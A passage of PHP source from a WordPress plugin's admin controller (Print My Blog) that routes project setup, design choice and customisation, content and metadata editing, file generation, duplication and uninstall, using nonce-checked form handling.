$this->editContent();
break;
case self::SLUG_SUBACTION_PROJECT_META:
$this->editMetadata();
break;
case self::SLUG_SUBACTION_PROJECT_GENERATE:
$this->editGenerate();
break;
case self::SLUG_SUBACTION_PROJECT_SETUP:
default:
$this->editSetup();
}
} catch ( DesignTemplateDoesNotExist $e ) {
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_ERROR, $e->getMessage() );
$this->notification_manager->showOneTimeNotifications();
foreach ( $this->file_format_registry->getFormats() as $format ) {
$this->project->setDesignFor( $format->slug(), null );
}
$this->project->getProgress()->initialize();
$this->project->getProgress()->markStepComplete( ProjectProgress::SETUP_STEP );
$this->editSetup();
}
} else {
if ( !class_exists( 'WP_List_Table' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}
$table = new ProjectsListTable();
$add_new_url = add_query_arg( [
'action' => self::SLUG_ACTION_ADD_NEW,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
include PMB_TEMPLATES_DIR . 'projects_list_table.php';
}
// phpcs:enable WordPress.Security.NonceVerification.Recommended
}
/**
* Shows the design-choosing step.
*/
protected function editProjectDesign() {
// determine the format
// Nonce overkill for just checking which page they're on.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
$format = $this->file_format_registry->getFormat( ( isset( $_GET['format'] ) ? sanitize_key( $_GET['format'] ) : null ) );
$designs = $this->design_manager->getDesignsForFormat( $format->slug() );
$chosen_design = $this->project->getDesignFor( $format->slug() );
// show them in a template
$this->renderProjectTemplate( 'project_design_choose.php', [
'project' => $this->project,
'format' => $format,
'designs' => $designs,
'chosen_design' => $chosen_design,
] );
}
/**
* Project setup page.
*/
protected function editSetup() {
if ( $this->invalid_form instanceof FormSection ) {
$form = $this->invalid_form;
} else {
$form = $this->getSetupForm();
}
$this->renderProjectTemplate( 'project_edit_setup.php', [
'form' => $form,
'project' => $this->project,
] );
}
/**
* @throws Exception
*/
protected function editProjectCustomizeDesign() {
$format_slug = Array2::setOr( $_GET, 'format', '' );
$design = $this->project->getDesignFor( $format_slug );
if ( !$design instanceof Design ) {
throw new Exception(sprintf( 'Could not determine the design for project "%s" for format "%s"', $this->project->getWpPost()->ID, $format_slug ));
}
// If there was an invalid form submission, show it.
if ( $this->invalid_form instanceof FormSection ) {
$form = $this->invalid_form;
} else {
$form = $design->getDesignForm();
}
$form_url = add_query_arg( [
'action' => self::SLUG_ACTION_EDIT_PROJECT,
'subaction' => self::SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN,
'_nonce' => wp_create_nonce( 'pmb-project-edit' ),
'ID' => $this->project->getWpPost()->ID,
'format' => $format_slug,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
$this->renderProjectTemplate( 'project_design_customize.php', [
'form_url' => $form_url,
'form' => $form,
'design' => $design,
'format_slug' => $format_slug,
'project' => $this->project,
] );
}
/**
* Page for editinga a project's content.
*/
protected function editContent() {
$project_support_front_matter = $this->project->supportsDivision( DesignTemplate::IMPLIED_DIVISION_FRONT_MATTER );
if ( $project_support_front_matter ) {
$front_matter_sections = $this->project->getSections(
1000,
0,
true,
DesignTemplate::IMPLIED_DIVISION_FRONT_MATTER
);
} else {
$front_matter_sections = null;
}
$sections = $this->project->getSections(
1000,
0,
true,
DesignTemplate::IMPLIED_DIVISION_MAIN_MATTER
);
$project_support_back_matter = $this->project->supportsDivision( DesignTemplate::IMPLIED_DIVISION_BACK_MATTER );
if ( $project_support_back_matter ) {
$back_matter_sections = $this->project->getSections(
1000,
0,
true,
DesignTemplate::IMPLIED_DIVISION_BACK_MATTER
);
} else {
$back_matter_sections = null;
}
$form_url = add_query_arg( [
'ID' => $this->project->getWpPost()->ID,
'action' => self::SLUG_ACTION_EDIT_PROJECT,
'subaction' => self::SLUG_SUBACTION_PROJECT_CONTENT,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
$user_query_args = [
'number' => 100,
];
// Capability queries were only introduced in WP 5.9.
if ( version_compare( $GLOBALS['wp_version'], '5.9', '<' ) ) {
$user_query_args['who'] = 'authors';
} else {
$user_query_args['capability'] = ['edit_posts'];
}
$this->renderProjectTemplate( 'project_edit_content.php', [
'form_url' => $form_url,
'back_matter_sections' => $back_matter_sections,
'sections' => $sections,
'front_matter_sections' => $front_matter_sections,
'project' => $this->project,
'project_support_front_matter' => $project_support_front_matter,
'project_support_back_matter' => $project_support_back_matter,
'post_types' => $this->post_fetcher->getProjectPostTypes( 'objects' ),
'authors' => get_users( $user_query_args ),
] );
}
/**
* Page for editing a project's metadata.
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function editMetadata() {
if ( $this->invalid_form instanceof FormSection ) {
$form = $this->invalid_form;
} else {
$form = $this->project->getMetaForm();
$defaults = [];
foreach ( $form->inputsInSubsections() as $input ) {
$saved_value = $this->project->getSetting( $input->name() );
if ( $saved_value ) {
$defaults[$input->name()] = $saved_value;
}
}
$form->populateDefaults( $defaults );
}
$form_url = add_query_arg( [
'ID' => $this->project->getWpPost()->ID,
'action' => self::SLUG_ACTION_EDIT_PROJECT,
'subaction' => self::SLUG_SUBACTION_PROJECT_META,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
$this->renderProjectTemplate( 'project_edit_metadata.php', [
'form_url' => $form_url,
'form' => $form,
'project' => $this->project,
] );
}
/**
* Page for generating a project's files.
*/
protected function editGenerate() {
// check the design templates still exist
foreach ( $this->project->getDesigns() as $design ) {
$design->getDesignTemplate();
}
$generations = $this->project->getAllGenerations();
$license_info = null;
$upgrade_url = pmb_fs()->get_upgrade_url();
$this->renderProjectTemplate( 'project_edit_generate.php', [
'project' => $this->project,
'generations' => $generations,
'license_info' => $license_info,
'upgrade_url' => $upgrade_url,
'review_url' => wp_nonce_url( add_query_arg( [
'action' => self::SLUG_ACTION_REVIEW,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) ), self::SLUG_ACTION_REVIEW ),
'suggest_review' => !get_option( self::REVIEW_OPTION_NAME, false ),
] );
}
protected function editCustomizeDesign() {
$id = Array2::setOr( $_GET, 'ID', '' );
$design = $this->design_manager->getById( $id );
if ( !$design instanceof Design ) {
throw new Exception(sprintf( 'Design does not exist with ID "%s"', $id ));
}
// If there was an invalid form submission, show it.
if ( $this->invalid_form instanceof FormSection ) {
$form = $this->invalid_form;
} else {
$form = $design->getDesignForm();
}
$form_url = add_query_arg( [
'ID' => $design->getWpPost()->ID,
], admin_url( PMB_ADMIN_DESIGNS_PAGE_PATH ) );
$this->renderProjectTemplate( 'design_customize.php', [
'form_url' => $form_url,
'form' => $form,
'design' => $design,
'project' => $this->project,
] );
}
protected function saveCustomizeDesign() {
$design = $this->design_manager->getById( Array2::setOr( $_GET, 'ID', '' ) );
$design_form = $design->getDesignTemplate()->getDesignFormTemplate();
// Nonce verified by form class.
$design_form->receiveFormSubmission( $_REQUEST );
if ( !$design_form->isValid() ) {
$this->invalid_form = $design_form;
}
foreach ( $design_form->inputValues( true, true ) as $setting_name => $normalized_value ) {
$design->setSetting( $setting_name, $normalized_value );
}
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf( __( 'Design "%s" successfully saved.', 'print-my-blog' ), $design->getWpPost()->post_title ) );
wp_safe_redirect( admin_url( PMB_ADMIN_DESIGNS_PAGE_PATH ) );
}
protected function saveDesignsList() {
if ( !check_admin_referer( PMB_ADMIN_PROJECTS_PAGE_SLUG ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
// get the design
$design = $this->design_manager->getById( (int) Array2::setOr( $_REQUEST, 'design', '' ) );
$format = $this->file_format_registry->getFormat( Array2::setOr( $_REQUEST, 'format', '' ) );
if ( !$design instanceof Design || !$format instanceof FileFormat ) {
throw new Exception(sprintf(
// translators: 1: design slug, 2: format slug
__( 'An invalid design (%1$s) or format provided(%2$s)', 'print-my-blog' ),
sanitize_key( Array2::setOr( $_GET, 'design', '' ) ),
sanitize_key( Array2::setOr( $_GET, 'format', '' ) )
));
}
if ( $_REQUEST['submit-button'] === 'customize' ) {
wp_safe_redirect( add_query_arg( [
'action' => 'customize',
'ID' => $design->getWpPost()->ID,
], admin_url( PMB_ADMIN_DESIGNS_PAGE_PATH ) ) );
exit;
}
// set it as the default for this format
$this->config->setSetting( $this->config->getSettingNameForDefaultDesignForFormat( $format ), $design->getWpPost()->ID );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf( __( '%1$s is now the default design the %2$s on all new projects.', 'print-my-blog' ), $design->getWpPost()->post_title, $format->title() ) );
// redirect back to the edit page
wp_safe_redirect( admin_url( PMB_ADMIN_DESIGNS_PAGE_PATH ) );
exit;
}
/**
* Handles all requests to the designs submenu item.
* @throws Exception
*/
public function editDesigns() {
if ( Array2::setOr( $_GET, 'ID', '' ) ) {
$this->editCustomizeDesign();
} else {
$this->editDesignsList();
}
}
/**
* Shows the list of all designs for choosing a default and customizing them.
* @throws DesignTemplateDoesNotExist
*/
protected function editDesignsList() {
$formats = $this->file_format_registry->getFormats();
$designs = $this->design_manager->getAll();
$designs_by_format = [];
foreach ( $designs as $design ) {
/**
* @var $design Design
*/
if ( $design->designTemplateExists() ) {
$designs_by_format[$design->getDesignTemplate()->getFormat()->slug()][] = $design;
}
}
echo pmb_render_template( 'designs.php', [
'formats' => $formats,
'designs' => $designs_by_format,
'config' => $this->config,
] );
}
/**
* @param string $template_name
* @param array $args
*/
protected function renderProjectTemplate( $template_name, $args ) {
if ( $args['project'] instanceof Project ) {
$args['steps_to_urls'] = $this->mapStepToUrls( $args['project'] );
$args['current_step'] = $args['project']->getProgress()->mapSubactionToStep( ( isset( $_GET['subaction'] ) ? sanitize_key( wp_unslash( $_GET['subaction'] ) ) : null ), ( isset( $_GET['format'] ) ? sanitize_key( wp_unslash( $_GET['format'] ) ) : null ) );
} else {
$args['steps_to_urls'] = [];
$args['current_step'] = ProjectProgress::SETUP_STEP;
}
// Yes we're rendering an HTML file. Escaping happens in that file.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo pmb_render_template( $template_name, $args );
}
/**
* @param Project $project
*
* @return array keys are steps for that project, and values are their URLs.
*/
protected function mapStepToUrls( Project $project ) {
$base_url_args = [
'ID' => $project->getWpPost()->ID,
'action' => self::SLUG_ACTION_EDIT_PROJECT,
];
$mappings = [];
foreach ( $project->getProgress()->getSteps() as $step => $label ) {
$args = $project->getProgress()->mapStepToSubactionArgs( $step );
$mappings[$step] = add_query_arg( array_merge( $base_url_args, $args ), admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
}
return $mappings;
}
/**
* Checks if a form was submitted, in which case we'd want to redirect.
* @since 3.0
*
*/
public function checkFormSubmission() {
// Don't bother checking for form submission if the "page" parameter isn't even set.
if ( !isset( $_GET['page'] ) ) {
return;
}
if ( $_GET['page'] === PMB_ADMIN_HELP_PAGE_SLUG ) {
$this->sendHelp();
exit;
}
if ( $_GET['page'] === PMB_ADMIN_SETTINGS_PAGE_SLUG ) {
$this->saveSettingsPage();
}
if ( $_GET['page'] === PMB_ADMIN_DESIGNS_PAGE_SLUG ) {
if ( isset( $_GET['ID'] ) ) {
$this->saveCustomizeDesign();
} else {
$this->saveDesignsList();
}
}
if ( $_GET['page'] === PMB_ADMIN_PROJECTS_PAGE_SLUG ) {
$action = ( isset( $_REQUEST['action'] ) ? sanitize_key( $_REQUEST['action'] ) : null );
if ( $action === self::SLUG_ACTION_ADD_NEW ) {
$this->saveNewProject();
exit;
}
if ( $action === self::SLUG_ACTION_EDIT_PROJECT ) {
$subaction = ( isset( $_GET['subaction'] ) ? sanitize_key( $_GET['subaction'] ) : null );
switch ( $subaction ) {
case self::SLUG_SUBACTION_PROJECT_SETUP:
$this->saveNewProject();
break;
case self::SLUG_SUBACTION_PROJECT_CHANGE_DESIGN:
$this->saveProjectChooseDesign();
break;
case self::SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN:
$this->saveProjectCustomizeDesign();
break;
case self::SLUG_SUBACTION_PROJECT_CONTENT:
$this->saveProjectContent();
break;
case self::SLUG_SUBACTION_PROJECT_META:
$this->saveProjectMetadata();
break;
case self::SLUG_SUBACTION_PROJECT_GENERATE:
$this->saveProjectGenerate();
break;
}
} elseif ( $action === 'delete' ) {
$this->deleteProjects();
$redirect = admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH );
wp_safe_redirect( $redirect );
exit;
}
}
}
/**
*
* @return FormSection
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function getSetupForm() {
$formats = $this->file_format_registry->getFormats();
$format_options = [];
foreach ( $formats as $format ) {
$option_text = $format->coloredTitleAndIcon();
$format_options[$format->slug()] = new InputOption($option_text, $format->desc(), $format->supported());
}
$default_formats = [DefaultFileFormats::DIGITAL_PDF];
if ( $this->project instanceof Project ) {
$default_formats = array_keys( $this->project->getFormatsSelected() );
}
return apply_filters( '\\PrintMyBlog\\controllers\\Admin::getSetupForm', new FormSection([
'name' => 'pmb-project',
'subsections' => [
'title' => new TextInput([
'html_label_text' => __( 'Project Title', 'print-my-blog' ),
'required' => true,
'default' => ( $this->project instanceof Project ? $this->project->getWpPost()->post_title : '' ),
'other_html_attributes' => ['autofocus'],
]),
'formats' => new CheckboxMultiInput($format_options, [
'html_label_text' => __( 'Format', 'print-my-blog' ),
'required' => true,
'default' => $default_formats,
]),
],
]), $this->project );
}
/**
* Save's a new project after the setup step.
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function saveNewProject() {
$form = $this->getSetupForm();
$form->receiveFormSubmission( $_REQUEST );
if ( !$form->isValid() ) {
$this->invalid_form = $form;
return;
}
$initialize_steps = false;
if ( !$this->project instanceof Project ) {
$project_id = wp_insert_post( [
'post_content' => '',
'post_type' => CustomPostTypes::PROJECT,
'post_status' => 'publish',
], true );
if ( is_wp_error( $project_id ) ) {
wp_die( esc_html( $project_id->get_error_message() ) );
}
$this->project = $this->project_manager->getById( $project_id );
$this->project->setCode();
$title_page = get_page_by_path( 'pmb-title-page', OBJECT, CustomPostTypes::CONTENT );
$toc_page = get_page_by_path( 'pmb-toc', OBJECT, CustomPostTypes::CONTENT );
$this->section_manager->setSectionsFor( $project_id, [[
$title_page->ID,
'just_content',
0,
1,
[]
], [
$toc_page->ID,
'',
0,
1,
[]
]], DesignTemplate::IMPLIED_DIVISION_FRONT_MATTER );
$initialize_steps = true;
}
$this->project->setTitle( $form->getInputValue( 'title' ) );
$formats_to_save = $form->getInputValue( 'formats' );
$old_formats = $this->project->getFormatSlugsSelected();
$this->project->setFormatsSelected( $formats_to_save );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf(
// translators: %s project name.
__( 'Successfully setup the project "%s".', 'print-my-blog' ),
$this->project->getWpPost()->post_title
) );
if ( $initialize_steps ) {
$this->project->getProgress()->initialize();
} else {
$new_formats = array_diff( $formats_to_save, $old_formats );
foreach ( $new_formats as $new_format ) {
$this->project->getProgress()->markChooseDesignStepComplete( $new_format, false );
$this->project->getProgress()->markCustomizeDesignStepComplete( $new_format, false );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_INFO, sprintf(
// translators: %s format name
__( 'You need to choose and customize the design for your %s.', 'print-my-blog' ),
$this->file_format_registry->getFormat( $new_format )->title()
) );
}
}
$this->project->getProgress()->markStepComplete( ProjectProgress::SETUP_STEP );
do_action( '\\PrintMyBlog\\controllers\\Admin->saveNewProject', $this->project, $form );
$this->redirectToNextStep( $this->project );
}
/**
*
* @param Project $project
*/
protected function redirectToNextStep( Project $project ) {
$args = [
'ID' => $project->getWpPost()->ID,
'action' => self::SLUG_ACTION_EDIT_PROJECT,
];
$next_step = $project->getProgress()->getNextStep();
$args = array_merge( $args, $project->getProgress()->mapStepToSubactionArgs( $next_step ) );
// Redirect to it
wp_safe_redirect( add_query_arg( $args, admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) ) );
exit;
}
/**
* Saves the project's content (sections, parts, etc).
*/
protected function saveProjectContent() {
if ( !check_admin_referer( 'pmb-project-edit' ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$this->updateProjectModifiedDate();
foreach ( $this->project->getAllGenerations() as $project_generation ) {
$project_generation->addDirtyReason( 'content_update', __( 'The content in your project has changed', 'print-my-blog' ) );
}
$this->project->setProjectDepth( intval( Array2::setOr( $_POST, 'pmb-project-depth', 0 ) ) );
$this->section_manager->clearSectionsFor( $this->project->getWpPost()->ID );
$order = 1;
$this->setSectionFromRequest(
$this->project,
'pmb-project-front-matter-data',
DesignTemplate::IMPLIED_DIVISION_FRONT_MATTER,
$order
);
$this->setSectionFromRequest(
$this->project,
'pmb-project-main-matter-data',
DesignTemplate::IMPLIED_DIVISION_MAIN_MATTER,
$order
);
$this->setSectionFromRequest(
$this->project,
'pmb-project-back-matter-data',
DesignTemplate::IMPLIED_DIVISION_BACK_MATTER,
$order
);
$this->project->getProgress()->markStepComplete( ProjectProgress::EDIT_CONTENT_STEP );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, __( 'Updated project content.', 'print-my-blog' ) );
$this->redirectToNextStep( $this->project );
}
/**
* It's nice to know which project the user worked on last, but many steps don't actually affect the project post
* directly (only meta or other related data). This can help to make sure the project post's modified_date still
* gets updated. Not needed if already calling wp_update_post() with other data.
*/
protected function updateProjectModifiedDate() {
// update the post's modified date!
wp_update_post( [
'ID' => $this->project->getWpPost()->ID,
] );
}
/**
* @param Project $project
* @param array $request_data
* @param string $placement
* @param int $order
*/
protected function setSectionFromRequest(
Project $project,
$request_data,
$placement,
&$order = 1
) {
// nonce verified before calling this method.
// phpcs:ignore WordPress.Security.NonceVerification.Missing
$section_data = stripslashes( Array2::setOr( $_POST, $request_data, '' ) );
$sections = json_decode( $section_data );
if ( is_array( $sections ) ) {
$this->section_manager->setSectionsFor(
$project->getWpPost()->ID,
$sections,
$placement,
$order
);
}
}
/**
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function saveProjectCustomizeDesign() {
$this->updateProjectModifiedDate();
$design = $this->project->getDesignFor( Array2::setOr( $_GET, 'format', '' ) );
$design_form = $design->getDesignTemplate()->getDesignFormTemplate();
// Nonce verified by form class.
$design_form->receiveFormSubmission( $_REQUEST );
if ( !$design_form->isValid() ) {
$this->invalid_form = $design_form;
}
foreach ( $design_form->inputValues( true, true ) as $setting_name => $normalized_value ) {
$design->setSetting( $setting_name, $normalized_value );
}
$project_generation = $this->project->getGenerationFor( Array2::setOr( $_GET, 'format', '' ) );
$project_generation->addDirtyReason( 'design_change', __( 'You have customized this design', 'print-my-blog' ) );
$this->project->getProgress()->markCustomizeDesignStepComplete( $design->getDesignTemplate()->getFormatSlug() );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf(
// translators: %s: design name
__( 'The design "%s" has been customized, and its changes will be reflected in all projects that use it.', 'print-my-blog' ),
$design->getWpPost()->post_title
) );
/**
* Hook for doing more processing after a design is customized
* @param Project $project
* @param ProjectGeneration $project_generation
* @param Design $design
* @param FormSection $design_form
*/
do_action(
'PrintMyBlog\\controllers\\Admin->saveProjectCustomizeDesign done',
$this->project,
$project_generation,
$design,
$design_form
);
$this->redirectToNextStep( $this->project );
}
/**
* @throws Exception
*/
protected function saveProjectChooseDesign() {
if ( !check_admin_referer( PMB_ADMIN_PROJECTS_PAGE_SLUG ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$this->updateProjectModifiedDate();
$design = $this->design_manager->getById( (int) Array2::setOr( $_REQUEST, 'design', '' ) );
$format = $this->file_format_registry->getFormat( Array2::setOr( $_GET, 'format', '' ) );
if ( !$design instanceof Design || !$format instanceof FileFormat ) {
throw new Exception(sprintf(
// translators: 1: design slug, 2: format slug
__( 'An invalid design (%1$s) or format provided(%2$s)', 'print-my-blog' ),
sanitize_key( Array2::setOr( $_GET, 'design', '' ) ),
sanitize_key( Array2::setOr( $_GET, 'format', '' ) )
));
}
$this->project->setDesignFor( $format, $design );
$project_generation = $this->project->getGenerationFor( $format );
$project_generation->addDirtyReason( 'design_change', __( 'You changed the design', 'print-my-blog' ) );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf(
// translators: 1: design name, 2: format name.
__( 'You chose the design "%1$s" for the %2$s of your project.', 'print-my-blog' ),
$design->getWpPost()->post_title,
$format->title()
) );
$this->project->getProgress()->markChooseDesignStepComplete( $format->slug() );
$button_pressed = Array2::setOr( $_REQUEST, 'submit-button', 'customize' );
if ( $button_pressed === 'choose' ) {
// skip customizing
$this->project->getProgress()->markCustomizeDesignStepComplete( $format->slug() );
} else {
// make sure they customize the design (especially if its a new choice)
$this->project->getProgress()->markCustomizeDesignStepComplete( $format->slug(), false );
}
$this->redirectToNextStep( $this->project );
}
/**
* Gets the project form, which is a combination of the project forms for all the designs in use.
*
* @return void
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function saveProjectMetadata() {
$this->updateProjectModifiedDate();
$form = $this->project->getMetaForm();
// nonce verified by form
$form->receiveFormSubmission( $_REQUEST );
if ( !$form->isValid() ) {
$this->invalid_form = $form;
return;
}
foreach ( $form->inputValues( true, true ) as $setting_name => $normalized_value ) {
$this->project->setSetting( $setting_name, $normalized_value );
}
$project_generations = $this->project->getAllGenerations();
foreach ( $project_generations as $generation ) {
$generation->addDirtyReason( 'metadata', __( 'You changed projected metadata', 'print-my-blog' ) );
}
$this->project->getProgress()->markStepComplete( ProjectProgress::EDIT_METADATA_STEP );
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, __( 'Project metadata updated.', 'print-my-blog' ) );
/**
* Hook for doing more processing when project metadata is saved.
* @param Project $project
* @param ProjectGeneration[] $project_generations
* @param FormSectionBase $form
*/
do_action(
'PrintMyBlog\\controllers\\Admin->saveProjectMetadata done',
$this->project,
$project_generations,
$form
);
$this->redirectToNextStep( $this->project );
}
/**
* Currently unused, but probably will be once we support skipping re-generating etc.
*
* @throws Exception
*/
protected function saveProjectGenerate() {
if ( !check_admin_referer( PMB_ADMIN_PROJECTS_PAGE_SLUG ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$this->updateProjectModifiedDate();
$format = $this->file_format_registry->getFormat( Array2::setOr( $_GET, 'format', '' ) );
if ( !$format instanceof FileFormat ) {
throw new Exception(sprintf(
// translators: %s: format slug
__( 'There is no file format with the slug "%s"', 'print-my-blog' ),
sanitize_key( Array2::setOr( $_GET, 'format', '' ) )
));
}
$project_generation = $this->project->getGenerationFor( $format );
$project_generation->deleteGeneratedFiles();
$project_generation->clearDirty();
$this->project->getProgress()->markStepComplete( ProjectProgress::GENERATE_STEP );
$url = add_query_arg( [
PMB_PRINTPAGE_SLUG => 3,
'project' => $this->project->getWpPost()->ID,
'format' => $format->slug(),
], site_url() );
$this->project->getProgress()->markStepComplete( ProjectProgress::GENERATE_STEP );
wp_safe_redirect( $url );
exit;
}
/**
* Makes it so the "publish" button on PMB Print Materials pages instead say "Save".
* Works for both classic editor and Gutenberg
*/
protected function makePrintContentsSaySaved() {
global $pagenow;
if ( isset( $pagenow ) && $pagenow === 'post-new.php' && isset( $_GET['post_type'] ) && $_GET['post_type'] === CustomPostTypes::CONTENT ) {
add_action( 'admin_print_footer_scripts', [$this, 'makePrintContentsSaySavedGutenberg'] );
add_filter(
'gettext',
function ( $translated, $text_domain, $original ) {
if ( $translated === 'Publish' ) {
return __( 'Save', 'print-my-blog' );
}
return $translated;
},
10,
3
);
}
}
/**
* On the PMB Print Materials CPT Gutenberg new page, change "Publish" button to just be "Save" because the post
* type isn't publicly visible.
*/
public function makePrintContentsSaySavedGutenberg() {
// we've already checked we're on the right page
if ( wp_script_is( 'wp-i18n' ) ) {
?>
<script>
// Note: Make sure that `wp.i18n` has already been defined by the time you call `wp.i18n.setLocaleData()`.
wp.i18n.setLocaleData({
'Publish': [
'Save',
'print-my-blog'
]
});
</script>
<?php
}
}
/**
* Deletes selected projects from list page.
*/
protected function deleteProjects() {
// In our file that handles the request, verify the nonce.
$nonce = esc_attr( Array2::setOr( $_REQUEST, '_wpnonce', '' ) );
if ( !wp_verify_nonce( $nonce, 'bulk-projects' ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
} else {
$this->project_manager->deleteProjects( Array2::setOr( $_POST, 'ID', '' ) );
}
}
/**
* Duplicates a post as a print material.
*/
protected function duplicate() {
if ( !check_admin_referer( self::SLUG_ACTION_EDIT_PROJECT ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$new_project = $this->project->duplicate();
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, sprintf(
// translators: 1: the name of the new project.
__( 'Project successfully duplicated. It is titled "%1$s".', 'print-my-blog' ),
$new_project->getWpPost()->post_title
) );
}
/**
* Clears the external file cache (in case those files are stale).
*/
protected function clearCachedExternalResources() {
if ( !check_admin_referer( self::SLUG_ACTION_EDIT_PROJECT ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$this->external_resource_cache->clear();
}
/**
* Duplicates a post (any type) to be a print material and redirects to it.
*/
protected function duplicatePrintMaterial() {
if ( !check_admin_referer( self::SLUG_ACTION_DUPLICATE_PRINT_MATERIAL ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
$post_id = Array2::setOr( $_GET, 'ID', 0 );
$wrapped_post = $this->post_manager->getById( $post_id );
$new_post = $wrapped_post->duplicateAsPrintMaterial();
wp_safe_redirect( get_edit_post_link( $new_post->ID, 'not_display' ) );
exit;
}
/**
* Deletes plugin data. No security checks here.
*/
protected function uninstall() {
// clear custom table
$this->table_manager->dropTables();
// clear CPTs
$deleted = $this->post_fetcher->deleteCustomPostTypes();
// clear options
global $wpdb;
// Direct DB query way more efficient.
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "pmb_%"' );
$upload_dir_info = wp_upload_dir();
$folder = new Folder($upload_dir_info['basedir'] . '/pmb');
$folder->delete();
}
/**
* We avoid asking PMB central for the credits alloted to a license as much as possible. But on the account page
* we make sure to refresh it. This is the page the user arrives at after upgrading or making a purchase, so
* the cache often needs to be refreshed here.
*/
public function maybeRefreshCreditCache() {
if ( isset( $_GET['page'] ) && $_GET['page'] === 'print-my-blog-projects-account' ) {
if ( pmb_fs()->_get_license() instanceof FS_Plugin_License ) {
try {
$this->pmb_central->getCreditsInfo( true );
} catch ( Exception $e ) {
$this->notification_manager->addTextNotificationForCurrentUser( 'warning', sprintf(
// translators: 1: error message.
__( 'There was an error communicating with Print My Blog Central. It was %s', 'print-my-blog' ),
$e->getMessage()
) );
$this->notification_manager->showOneTimeNotifications();
}
}
}
}
/**
* Handles responses for PMB requests early on
*/
private function earlyResponseHandling() {
$this->checkProjectEditPage();
if ( Array2::setOr( $_SERVER, 'REQUEST_METHOD', '' ) === 'POST' ) {
add_action( 'admin_init', [$this, 'checkFormSubmission'] );
} elseif ( Array2::setOr( $_SERVER, 'REQUEST_METHOD', '' ) === 'GET' ) {
add_action( 'admin_init', [$this, 'checkSpecialLinks'] );
}
}
/**
* Take special action on GET requests
*/
public function checkSpecialLinks() {
if ( !isset( $_GET['page'] ) ) {
return;
}
if ( $_GET['page'] === PMB_ADMIN_PROJECTS_PAGE_SLUG ) {
$action = ( isset( $_GET['action'] ) ? sanitize_key( $_GET['action'] ) : null );
if ( $action === self::SLUG_ACTION_UNINSTALL ) {
if ( !check_admin_referer( self::SLUG_ACTION_UNINSTALL ) ) {
wp_die( 'The request has expired. Please refresh the previous page and try again.' );
}
if ( current_user_can( 'activate_plugins' ) ) {
$this->uninstall();
if ( !function_exists( 'deactivate_plugins' ) ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
deactivate_plugins( PMB_BASENAME, true );
}
wp_safe_redirect( admin_url( 'plugins.php' ) );
} elseif ( $action === self::SLUG_ACTION_REVIEW ) {
check_admin_referer( self::SLUG_ACTION_REVIEW );
update_option( self::REVIEW_OPTION_NAME, true );
// We're redicting to hard-coded URL. It's ok.
// phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect
wp_redirect( 'https://wordpress.org/support/plugin/print-my-blog/reviews/#new-post' );
exit;
} elseif ( $action === self::SLUG_ACTION_EDIT_PROJECT ) {
$subsection = Array2::setOr( $_GET, 'subaction', null );
if ( $subsection === self::SLUG_SUBACTION_PROJECT_DUPLICATE ) {
$this->duplicate();
$redirect = admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH );
wp_safe_redirect( $redirect );
exit;
}
if ( $subsection === self::SLUG_SUBACTION_PROJECT_CLEAR_CACHE ) {
$this->clearCachedExternalResources();
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, __( 'Cached external resources and images were cleared.', 'print-my-blog' ) );
$redirect = add_query_arg( [
'action' => self::SLUG_ACTION_EDIT_PROJECT,
'subaction' => self::SLUG_SUBACTION_PROJECT_GENERATE,
'ID' => $this->project->getWpPost()->ID,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
wp_safe_redirect( $redirect );
exit;
}
} elseif ( $action === self::SLUG_ACTION_DUPLICATE_PRINT_MATERIAL ) {
$this->duplicatePrintMaterial();
exit;
}
}
}
/**
* Checks if it's a project editing page, in which case sets the project.
*/
public function checkProjectEditPage() {
if ( !isset( $_GET['page'] ) ) {
